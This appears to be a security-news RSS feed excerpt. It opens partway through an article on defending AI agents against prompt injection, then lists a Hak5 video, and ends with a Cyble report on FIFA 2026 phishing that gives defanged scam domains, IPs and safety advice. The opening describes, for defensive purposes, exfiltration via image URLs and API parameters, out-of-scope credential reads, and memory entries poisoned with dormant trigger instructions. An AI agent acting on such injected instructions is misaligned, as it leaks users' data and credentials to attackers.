<p><strong>Exfiltration via low-bandwidth channels.</strong> The classic prompt injection exfiltration attack routes stolen data through a mechanism the agent has legitimate access to: a rendered image URL with encoded query parameters, an API call with data embedded in a parameter, a link in a generated document. These don’t look like data theft in isolation; they look like normal agent output. Detection requires correlating what data the agent had access to against what it embedded in its output. That requires end-to-end visibility into the agent’s actions, not just the final response.</p>



<p><strong>Credential and secret access outside task scope.</strong> If an agent with legitimate access to a secrets store or key vault touches credentials that have no relationship to the current task, that’s a signal. An agent fixing a React rendering bug should likely not be reading AWS credentials. Least-privilege scoping is the architectural defense here, but monitoring for out-of-scope credential access is the detection layer that catches failures in that scoping.</p>



<p><strong>Memory-write anomalies.</strong> Agents with persistent memory are a growing attack surface. A poisoned memory entry that looks like legitimate user context but contains dormant trigger instructions can persist across sessions and fire long after the initial injection. Monitoring for memory-writes containing instruction-like content, or writes made during sessions that ingested untrusted content, is worth adding to any agent observability pipeline.</p>



<h2 class="wp-block-heading">Runtime alone can address the agent redirection threat</h2>



<p>For practitioners operating production agent infrastructure, the lethal trifecta tells you what you know: Your agents are exposed. The question is what to do about it.</p>



<p>The answers are at the runtime layer, not the architecture layer. That’s where <a href="https://www.csoonline.com/article/653052/how-to-pick-the-best-endpoint-detection-and-response-solution.html">EDR</a> and <a href="https://www.csoonline.com/article/566677/12-top-siem-tools-rated-and-compared.html">SIEM</a> live for traditional infrastructure — agents need the same instrumentation, and most deployments don’t have it yet. Full execution traces on every agent invocation. Tool call <a href="https://www.csoonline.com/article/3822459/what-is-anomaly-detection-behavior-based-analysis-for-cyber-threats.html">anomaly detection</a>. Input screening at ingest. Credential access monitoring scoped to task context. Memory-write auditing. Not a human attacker logging in. An agent that’s been quietly redirected.</p>



<p>Willison’s trifecta was the right alarm for its moment, which was last year. Almost every production agent now fits the profile. Because of that, only runtime anomaly detection can potentially provide adequate defense. The above signals are a good place to start.<a></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Turning to ChatGPT for Help Instead of Your Doctor]]></title>
<description><![CDATA[Readers react to a guest essay by a doctor who found ChatGPT useful in dealing with her own medical issues.]]></description>
<link>https://tsecurity.de/de/3595489/ai-nachrichten/turning-to-chatgpt-for-help-instead-of-your-doctor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3595489/ai-nachrichten/turning-to-chatgpt-for-help-instead-of-your-doctor/</guid>
<pubDate>Sat, 13 Jun 2026 13:18:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Readers react to a guest essay by a doctor who found ChatGPT useful in dealing with her own medical issues.]]></content:encoded>
</item>
<item>
<title><![CDATA[Developers React to the 105-Second Github Chain Reaction | Threat Wire]]></title>
<description><![CDATA[Author: Hak5 - Bewertung: 0x - Views:0 ⬇️ OPEN FOR LINKS TO ARTICLES TO LEARN MORE ⬇️


@endingwithali →
Twitch: https://twitch.tv/endingwithali
Twitter: https://twitter.com/endingwithali
YouTube: https://youtube.com/@endingwithali
Everywhere else: https://links.ali.dev

Want to work with Ali? ha...]]></description>
<link>https://tsecurity.de/de/3593390/it-security-video/developers-react-to-the-105-second-github-chain-reaction-threat-wire/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3593390/it-security-video/developers-react-to-the-105-second-github-chain-reaction-threat-wire/</guid>
<pubDate>Fri, 12 Jun 2026 14:06:13 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Hak5 - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/MyYe0cyzEuU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⬇️ OPEN FOR LINKS TO ARTICLES TO LEARN MORE ⬇️<br />
<br />
<br />
@endingwithali →<br />
Twitch: https://twitch.tv/endingwithali<br />
Twitter: https://twitter.com/endingwithali<br />
YouTube: https://youtube.com/@endingwithali<br />
Everywhere else: https://links.ali.dev<br />
<br />
Want to work with Ali? hak5@endingwithali.com<br />
<br />
[❗] Join the Patreon→ https://patreon.com/threatwire<br />
0:00 0 - Intro<br />
1 - Worms!<br />
2 - Miasma<br />
3 - Meta AI Hack<br />
4 - BSides News<br />
5 - Outro<br />
<br />
LINKS<br />
🔗 Story 1:Worms! <br />
https://thehackernews.com/2026/06/ironworm-and-new-miasma-worm-variant.html <br />
https://research.jfrog.com/post/iron-worm-shai-hulud-rustier-cousin/ <br />
🔗 Story 2: Miasma <br />
https://thehackernews.com/2026/06/miasma-supply-chain-attack-compromises.html <br />
https://opensourcemalware.com/blog/miasma-reaches-azure<br />
https://socket.dev/blog/mini-shai-hulud-campaign-hits-red-hat-cloud-services-npm-packages<br />
https://safedep.io/redhat-cloud-services-hit-by-mini-shai-hulud-npm-worm/<br />
https://thehackernews.com/2026/06/miasma-supply-chain-attack-compromises.html<br />
🔗 Story 3: Meta AI Hack<br />
https://www.helpnetsecurity.com/2026/06/08/instagram-ai-support-vulnerability-account-takeovers/<br />
https://www.maine.gov/agviewer/content/ag/985235c7-cb95-4be2-8792-a1252b4f8318/686120c8-63be-4e3c-b7ed-466d65b672f5.html<br />
https://www.bleepingcomputer.com/news/security/instagram-users-locked-out-after-meta-ai-abused-to-steal-accounts/<br />
https://www.404media.co/hackers-simply-asked-meta-ai-to-give-them-access-to-high-profile-instagram-accounts-it-worked/<br />
🔗 Story 4: Bsides News<br />
https://www.bleepingcomputer.com/news/security/google-chrome-adds-session-cookie-theft-protection-for-all-users/<br />
https://techcrunch.com/2026/06/08/massachusetts-votes-to-pass-new-privacy-rights-bill-that-bans-sale-of-precise-location-data/<br />
-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆<br />
Our Site → https://www.hak5.org<br />
Shop →  http://hakshop.myshopify.com/<br />
Community → https://www.hak5.org/community<br />
Subscribe → https://www.youtube.com/user/Hak5Darren?sub_confirmation=1<br />
Support → https://www.patreon.com/threatwire<br />
Contact Us → http://www.twitter.com/hak5<br />
____________________________________________<br />
<br />
Founded in 2005, Hak5's mission is to advance the InfoSec industry. We do this through our award winning educational podcasts, leading pentest gear, and inclusive community – where all hackers belong.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[FIFA World Cup 2026 Scams Are Already Active: Fake Domains, Phishing Sites, and How to Stay Safe]]></title>
<description><![CDATA[The FIFA World Cup 2026 kicks off on June 11, and the world's biggest sporting event is drawing more than just fans — it is already attracting a wave of cybercriminals targeting ticket buyers, job seekers, streaming viewers, and corporate brands alike. 


The FBI has issued a formal Public Servic...]]></description>
<link>https://tsecurity.de/de/3587597/it-security-nachrichten/fifa-world-cup-2026-scams-are-already-active-fake-domains-phishing-sites-and-how-to-stay-safe/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3587597/it-security-nachrichten/fifa-world-cup-2026-scams-are-already-active-fake-domains-phishing-sites-and-how-to-stay-safe/</guid>
<pubDate>Wed, 10 Jun 2026 14:26:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1200" height="600" src="https://cyble.com/wp-content/uploads/2026/06/FIFA-World-Cup-2026-Scams.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="FIFA World Cup 2026 Scams" decoding="async" srcset="https://cyble.com/wp-content/uploads/2026/06/FIFA-World-Cup-2026-Scams.webp 1200w, https://cyble.com/wp-content/uploads/2026/06/FIFA-World-Cup-2026-Scams-300x150.webp 300w, https://cyble.com/wp-content/uploads/2026/06/FIFA-World-Cup-2026-Scams-1024x512.webp 1024w, https://cyble.com/wp-content/uploads/2026/06/FIFA-World-Cup-2026-Scams-768x384.webp 768w" sizes="(max-width: 1200px) 100vw, 1200px" title="FIFA World Cup 2026 Scams Are Already Active: Fake Domains, Phishing Sites, and How to Stay Safe 1"></p>
<p><!-- wp:paragraph --></p>
<p>The FIFA World Cup 2026 kicks off on June 11, and the world's biggest sporting event is drawing more than just fans — it is already attracting a wave of cybercriminals targeting ticket buyers, job seekers, streaming viewers, and corporate brands alike. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The FBI has issued a formal Public Service Announcement warning that threat actors are creating fraudulent versions of FIFA-affiliated websites to steal personal information, conduct financial fraud, and sell fake products and services. Cyble researchers independently analyzed the domains flagged by the FBI and confirmed that many remained active and operational at the time of publishing this report. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>With 48 teams, 16 host cities across the United States, Canada, and Mexico, and an estimated global audience of billions, the FIFA World Cup 2026 is set to be the largest men's World Cup in history. That scale is precisely why <a href="https://cyble.com/knowledge-hub/who-is-a-cybercriminal/" target="_blank" rel="noreferrer noopener">cybercriminals</a> are prying on it — and why the threat is arriving earlier and more aggressively than in previous tournaments. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>How FIFA World Cup 2026 Scams Work</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The FBI warns that threat actors are building fraudulent versions of FIFA's official website, www.fifa.com, designed to closely mimic the legitimate experience. These sites are engineered to collect personally identifiable information (PII), including full names, home addresses, phone numbers, email addresses, banking information, and payment card details. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The same fraudulent infrastructure is used to run a range of operations simultaneously: FIFA ticket scams, fake hospitality package sales, fraudulent job listings, and other forms of financial fraud. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The most common technical method is <strong>typosquatting</strong> — registering domains with subtle spelling changes or different extensions that trick users into believing they have landed on an official page. A single missing letter, a swapped extension, or a hyphenated variant can be enough to deceive even vigilant users, especially when the site is dressed with FIFA branding, tournament schedules, and professional-looking navigation menus. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The FBI flagged the following domains as fraudulent FIFA-related sites: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td> </td>
<td> </td>
</tr>
<tr>
<td>www.fifa[.]cab </td>
<td>www.fifa[.]pink </td>
</tr>
<tr>
<td>www.fifa[.]blue </td>
<td>www.fifa[.]pub </td>
</tr>
<tr>
<td>FIFA[.]city </td>
<td>Fifa[.]bio </td>
</tr>
<tr>
<td>fifa[.]beer </td>
<td>fifa[.]click </td>
</tr>
<tr>
<td>fifa[.]cam </td>
<td>fifa[.]ceo </td>
</tr>
<tr>
<td>fifa[.]help </td>
<td>filfa[.]org </td>
</tr>
<tr>
<td>fifa-online[.]com </td>
<td>https://fifa-2026[.]xyz </td>
</tr>
<tr>
<td>jobs-fifa[.]com </td>
<td>fifa-hr[.]com </td>
</tr>
<tr>
<td>fifa-careerhub[.]com </td>
<td>fifaworldcup-careers[.]com </td>
</tr>
<tr>
<td>fifa-hiring[.]com </td>
<td>fifahiring[.]com </td>
</tr>
<tr>
<td>fifa-ticket[.]live </td>
<td>fifastore.us[.]com </td>
</tr>
<tr>
<td>fifaworldcup26[.]sale </td>
<td>fifaworldcup26.xcover-staging[.]com </td>
</tr>
<tr>
<td>worldcup2026-tickets.com[.]mx </td>
<td>worldcup26ticket[.]com </td>
</tr>
<tr>
<td>2026fifaworldcuptickets[.]online </td>
<td>fwc2026[.]net </td>
</tr>
<tr>
<td>fwc2026.web[.]app </td>
<td>www.fifa2026p[.]com </td>
</tr>
<tr>
<td>fifa2026fworldcup[.]com </td>
<td>wvvw-fifa[.]com </td>
</tr>
<tr>
<td>ww-fifa[.]com </td>
<td>fifa-com[.]com </td>
</tr>
<tr>
<td>www.fifa-com[.]services </td>
<td>quiniela-fifa-2026.pages[.]dev </td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph {"style":{"typography":{"textAlign":"center"}}} --></p>
<p class="has-text-align-center"><em>Source: FBI PSA — Domains defanged for safety</em> </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble researchers tracked these domains and confirmed that many were still operational at the time of publishing. Notably, even when a <a href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noreferrer noopener">malicious</a> domain is taken down, new ones tend to appear almost instantaneously. The fraudulent infrastructure is not a one-time campaign — it is continuously regenerating. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Fake FIFA Hospitality, Ticket, and Sale Sites</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>One of the most convincing examples identified by Cyble researchers was ww-fifa[.]com — a classic typosquatting attack that removes a single "w" from the legitimate FIFA URL. The site presents itself as an official FIFA World Cup 2026 portal, complete with tournament branding, navigation menus, ticket information, and hospitality package offers. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120227,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/image-1.png" alt="Fake FIFA World Cup 2026 Hospitality Domain" class="wp-image-120227"><figcaption class="wp-element-caption"><em>Fake FIFA World Cup 2026 Hospitality Domain (Source: Cyble)</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p>Visitors to this site are encouraged to purchase premium packages that include tickets, food, beverages, lounge access, and related services — all fraudulent. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble researchers identified several indicators that expose the site as illegitimate: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Duplicate page titles appearing twice in the browser tab </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Missing or broken images throughout the site </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Navigation links leading to attacker-controlled pages </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Ticket purchase prompts requesting personal and financial information with no legitimate payment processing </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>What makes these sites especially dangerous is the sophistication of the presentation. Unlike the crude phishing pages of a decade ago, modern FIFA 2026 scam sites replicate the visual design of official sports portals convincingly enough to pass a casual inspection. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Security Vendors Have Already Flagged FIFA-Related Domains</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble researchers analyzed the domain fifa[.]help using VirusTotal and found that, at the time of analysis, 15 out of 92 security vendors had classified it as malicious. Vendor classifications included phishing, fraud, and related threat categories. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120228,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/image-2.png" alt="Fake FIFA 2026 domain scoring" class="wp-image-120228"><figcaption class="wp-element-caption"><em>Fake FIFA 2026 domain scoring (Source: VirusTotal)</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p>While a detection rate of 15/92 may seem modest, it represents significant early-stage flagging. Many security vendors lag in classifying newly registered domains, so the fact that multiple established providers had already flagged this domain confirms a credible threat.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>As these domains age and accumulate more malicious activity reports, detection rates will rise — but by then, victims will already have been targeted. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Fake FIFA Recruitment Sites Are Also Active</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Not all FIFA World Cup 2026 scams target ticket buyers or fans. Cyble researchers identified an entirely separate fraud vector targeting job seekers: the domain fifaworldcup-careers[.]com, which presents itself as a FIFA employment portal for World Cup-related positions. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120229,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/image-3.png" alt="Subdomain related to fifaworldcup-careers[.]com" class="wp-image-120229"><figcaption class="wp-element-caption"><em>Subdomain related to fifaworldcup-careers[.]com (Source: VirusTotal)</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p>VirusTotal data revealed: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>www.fifaworldcup-careers[.]com was flagged by 8 out of 91 vendors </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>The root domain was flagged by 14 out of 91 vendors </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>The domain resolved to multiple IP addresses, including 3.71.180.249, 13.249.91.65, and 13.249.91.101 </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>The use of multiple IP addresses suggests the domain may be operating behind content delivery or load-balancing infrastructure, which makes takedowns significantly more difficult to execute. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>WHOIS data shows the domain was registered and updated in mid-to-late April 2026, with the registrant's identity hidden behind a privacy shield. Two SSL certificates were also issued on April 15 and April 16, including a wildcard certificate covering *.fifaworldcup-careers[.]com — a sign of deliberate, technically capable infrastructure setup rather than an opportunistic amateur operation. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Why this matters:</strong> Job seekers searching for World Cup-related employment — hospitality roles, security staff, event coordinators, media positions — are a highly vulnerable and largely overlooked audience. These individuals are not on guard for ticket scams; they are in application mode, and they will willingly submit full personal information, resumes, and even government ID to what they believe is a legitimate employer. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>How to Avoid FIFA World Cup 2026 Ticket Scams</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>As fans search for how to watch the FIFA World Cup 2026 or purchase tickets, the FBI recommends the following precautions: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Type <strong>fifa.com</strong> directly into your browser's address bar — never rely on search results or links in messages </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Avoid sponsored search results, which can be purchased by attackers to appear above legitimate results </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Confirm that the URL is exactly <strong>www.fifa.com</strong> before entering any information </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Use saved bookmarks or browser favorites when revisiting FIFA websites </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Access FIFA subdomains only through the official homepage, not by typing them directly </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Be cautious of websites with broken graphics, poor-quality branding, or duplicate content </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Do not provide sensitive information unless the site's legitimacy has been independently verified </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Review URLs carefully before clicking any advertisements </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>These steps are especially important for avoiding FIFA 2026 ticket price scams, where attackers create a false sense of urgency through fake discounts, exclusive hospitality offers, or limited-time deals that pressure users into making fast payment decisions. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>How to Watch FIFA World Cup 2026 Safely</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Scammers are targeting not only ticket buyers but viewers as well. Fraudulent streaming platforms are expected to proliferate as the tournament approaches, exploiting the high demand for match access — particularly from fans in regions where official broadcasts are expensive or limited. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>To reduce risk when looking for FIFA World Cup 2026 streaming options: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Use only official FIFA channels and licensed regional broadcasters for tournament information </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Watch matches exclusively through broadcasters licensed for your region </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Avoid streaming links shared through unsolicited emails, social media messages, or WhatsApp groups </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Verify URLs carefully before creating accounts or entering any payment information </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Be cautious of websites offering heavily discounted subscription packages or "exclusive" access to all matches </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>Many fake streaming platforms use the same tactics seen in FIFA ticket scams: they exploit demand for tournament content to harvest personal and financial information, either immediately or through credential-stuffing attacks down the line. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>What To Do If You Become a Victim of a FIFA World Cup 2026 Scam</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The FBI expects additional spoofed domains to appear throughout the tournament period — before, during, and after matches. If you encounter a suspected FIFA World Cup 2026 scam, document as much information as possible before the site disappears, including: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>The fraudulent domain name </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Screenshots of the website </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Any communication records (emails, SMS, chat logs) </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Payment details if a transaction occurred </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Cryptocurrency wallet addresses, if applicable </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>Victims can file a complaint with the <strong>Internet Crime Complaint Center (IC3) at ic3.gov</strong> and should include the fake domain involved, details of all interactions with the site, information submitted to the scammers, payment records, receiving financial institution information, and any <a href="https://cyble.com/blog/rising-cryptocurrency-scams-and-how-to-avoid-them/" target="_blank" rel="noreferrer noopener">cryptocurrency</a> transaction details. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Reporting promptly not only helps your case but also contributes to the broader effort to get these domains flagged and taken down faster. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Protect Your Brand from Fake FIFA World Cup 2026 Phishing Campaigns</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Major global events like the FIFA World Cup create a concentrated window of opportunity for cybercriminals to launch phishing campaigns, register fraudulent domains, and impersonate trusted brands. As the active FIFA-related scam infrastructure identified by Cyble researchers demonstrates, this is not a theoretical risk — it is a live and expanding threat landscape. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Organizations operating in travel, hospitality, ticketing, media, and any sector adjacent to the FIFA World Cup 2026 need proactive <a href="https://cyble.com/knowledge-hub/what-is-brand-protection/" target="_blank" rel="noreferrer noopener">brand protection</a> measures in place now — not after the first incident. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120226,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/image.png" alt="" class="wp-image-120226"></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><a href="https://cyble.com/" target="_blank" rel="noreferrer noopener">Cyble's Brand Intelligence solution</a> helps organizations detect malicious domains, phishing websites, brand impersonation attempts, and other forms of digital abuse in real time. Combined with <a href="https://cyble.com/solutions/dark-web-monitoring/" target="_blank" rel="noreferrer noopener">Dark Web</a> and Cyber Crime Monitoring and Takedown &amp; Disruption services, security teams can identify threats early, investigate malicious activity, and accelerate the removal of fraudulent infrastructure before it causes financial or reputational damage. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Don't react — deploy now.</strong> </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Check out how Cyble helps organizations detect, monitor, and disrupt <a href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noreferrer noopener">phishing</a> campaigns, fraudulent domains, and brand abuse before they lead to financial loss or reputational damage. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Frequently Asked Questions </strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:rank-math/faq-block {"questions":[{"id":"faq-question-1781092932781","title":"1. How do I know if a FIFA World Cup 2026 ticket website is legitimate?","content":"The only official platform for FIFA World Cup 2026 tickets is accessible through www.fifa.com. Always type this address directly into your browser. Legitimate FIFA ticket pages will never ask you to log in through a third-party site or pay via cryptocurrency or wire transfer. ","visible":true},{"id":"faq-question-1781092939955","title":"2. Are FIFA World Cup 2026 jobs being posted on fake websites?","content":"Yes. Cyble researchers identified at least one domain — fifaworldcup-careers[.]com — that impersonates a FIFA employment portal targeting job seekers for World Cup positions. Always verify any job listing through the official FIFA website or a recognized recruitment agency. ","visible":true},{"id":"faq-question-1781092941349","title":"3. What should I do if I accidentally visited a fake FIFA site?  ","content":"Do not enter any personal information. Close the browser tab immediately. If you already entered information, change any reused passwords, monitor your financial accounts for unusual activity, and file a report at ic3.gov. ","visible":true},{"id":"faq-question-1781092945514","title":"4. Can I safely use Google to search for FIFA World Cup 2026 tickets?  ","content":"You can search, but be cautious. The FBI specifically warns against clicking sponsored search results, which attackers can purchase to appear at the top of results pages. Always manually navigate to www.fifa.com after your search rather than clicking links. ","visible":true},{"id":"faq-question-1781092946620","title":"5. How many fake FIFA 2026 domains are there?  ","content":"The FBI flagged over 40 fraudulent domains in its PSA. Cyble researchers confirmed that many of these remain active. Given that new fraudulent domains are registered continuously, the actual number of fake FIFA-related domains in circulation is expected to grow significantly as the tournament approaches. ","visible":true}]} --></p>
<div class="wp-block-rank-math-faq-block">
<div class="rank-math-faq-item">
<h3 class="rank-math-question">1. How do I know if a FIFA World Cup 2026 ticket website is legitimate?</h3>
<div class="rank-math-answer">The only official platform for FIFA World Cup 2026 tickets is accessible through www.fifa.com. Always type this address directly into your browser. Legitimate FIFA ticket pages will never ask you to log in through a third-party site or pay via cryptocurrency or wire transfer. </div>
</div>
<div class="rank-math-faq-item">
<h3 class="rank-math-question">2. Are FIFA World Cup 2026 jobs being posted on fake websites?</h3>
<div class="rank-math-answer">Yes. Cyble researchers identified at least one domain — fifaworldcup-careers[.]com — that impersonates a FIFA employment portal targeting job seekers for World Cup positions. Always verify any job listing through the official FIFA website or a recognized recruitment agency. </div>
</div>
<div class="rank-math-faq-item">
<h3 class="rank-math-question">3. What should I do if I accidentally visited a fake FIFA site?  </h3>
<div class="rank-math-answer">Do not enter any personal information. Close the browser tab immediately. If you already entered information, change any reused passwords, monitor your financial accounts for unusual activity, and file a report at ic3.gov. </div>
</div>
<div class="rank-math-faq-item">
<h3 class="rank-math-question">4. Can I safely use Google to search for FIFA World Cup 2026 tickets?  </h3>
